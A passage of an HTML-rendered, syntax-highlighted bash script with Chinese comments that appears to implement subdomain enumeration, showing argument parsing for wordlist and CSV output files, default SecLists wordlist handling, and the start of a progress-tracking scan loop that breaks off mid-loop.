&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DOMAIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DEFAULT_WORDLIST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;WORDLIST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;OUTPUT_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;CSV_OUTPUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 处理参数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;shift&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$#&lt;/span&gt; -gt &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt; -w&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;shift&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;WORDLIST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;-w 需要指定字典文件&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; ! -f &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;字典文件不存在: &lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt; -o&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;shift&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;OUTPUT_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;-o 需要指定输出文件名&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;CSV_OUTPUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;OUTPUT_FILE&lt;/span&gt;&lt;span class="p"&gt;%.csv&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.csv&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt; *&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;未知参数: &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;shift&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置默认字典&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;WORDLIST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$DEFAULT_WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; ! -f &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$DEFAULT_WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;默认字典不存在: &lt;/span&gt;&lt;span class="nv"&gt;$DEFAULT_WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;使用默认字典: &lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置默认输出文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;SAFE_DOMAIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr -cd &lt;span class="s1"&gt;&amp;#39;[:alnum:]._-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;CSV_OUTPUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SAFE_DOMAIN&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.csv&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 创建临时文件存储结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;RESULT_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;mktemp&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 获取字典行数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;TOTAL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;wc -l &amp;lt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; die &lt;span class="s2"&gt;&amp;#34;无法读取字典文件&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 开始扫描&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;开始子域名枚举扫描&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;目标域名: &lt;/span&gt;&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;使用字典: &lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;扫描数量: &lt;/span&gt;&lt;span class="nv"&gt;$TOTAL&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;开始时间: &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;CSV输出文件: &lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;START_TIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%s&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;COUNT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;FOUND&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 初始化CSV文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;子域名,IP地址&amp;#34;&lt;/span&gt; &amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 主扫描循环&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r subdomain&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 进度统计&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;((&lt;/span&gt;COUNT++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 计算时间和进度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;CURRENT_TIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%s&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;ELAPSED_SEC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;CURRENT_TIME &lt;span class="o"&gt;-&lt;/span&gt; START_TIME&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$COUNT&lt;/span&gt; -gt &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;AVG_TIME_PER_REC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;ELAPSED_SEC &lt;span class="o"&gt;/&lt;/span&gt; COUNT&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;REMAINING&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;TOTAL &lt;span class="o"&gt;-&lt;/span&gt; COUNT&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;ESTIMATED_REMAINING_SEC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;AVG_TIME_PER_REC &lt;span class="o"&gt;*&lt;/span&gt; REMAINING&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;MINS_REMAINING&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;ESTIMATED_REMAINING_SEC &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;SECS_REMAINING&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;ESTIMATED_REMAINING_SEC &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 计算进度百分比&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;PERCENT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;COUNT &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="m"&gt;100&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; TOTAL&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt; 
